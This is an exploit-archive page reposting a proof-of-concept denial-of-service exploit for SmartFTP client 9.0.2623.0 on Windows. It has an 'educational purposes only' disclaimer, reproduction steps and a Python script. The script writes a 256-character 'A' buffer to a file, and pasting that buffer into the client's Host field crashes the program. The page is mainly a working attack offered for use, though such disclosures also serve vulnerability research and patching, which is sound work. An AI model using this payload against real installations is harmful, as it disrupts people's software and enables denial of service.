Smartftp client 9.0.2623.0 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-12-11 | Type : dos | Platform : windows
This exploit / vulnerability Smartftp client 9.0.2623.0 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# -*- coding: utf-8 -*-
# Exploit Title: SmartFTP 9.0 Build 2623 - Denial of Service (PoC)
# Date: 06/12/2018
# Exploit Author: Alejandra Sánchez
# Vendor Homepage: https://www.smartftp.com/en-us/
# Software Link: https://www.smartftp.com/get/SFTPMSI64.exe
# Version: 9.0.2623.0
# Tested on: Windows Server 2016 (x64)/ Windows 10 Single Language x64

# Steps to Produce the Crash:
# 1.- Run python code : python SmartFTPClient.py
# 2.- Open SmartFTPClient.txt and copy content to clipboard
# 3.- Open SmartFTP Client
# 4.- New connection
# 5.- Paste ClipBoard on Host
# 6.- Crashed


buffer = "\x41" * 256
f = open ("SmartFTPClient.txt", "w")
f.write(buffer)
f.close()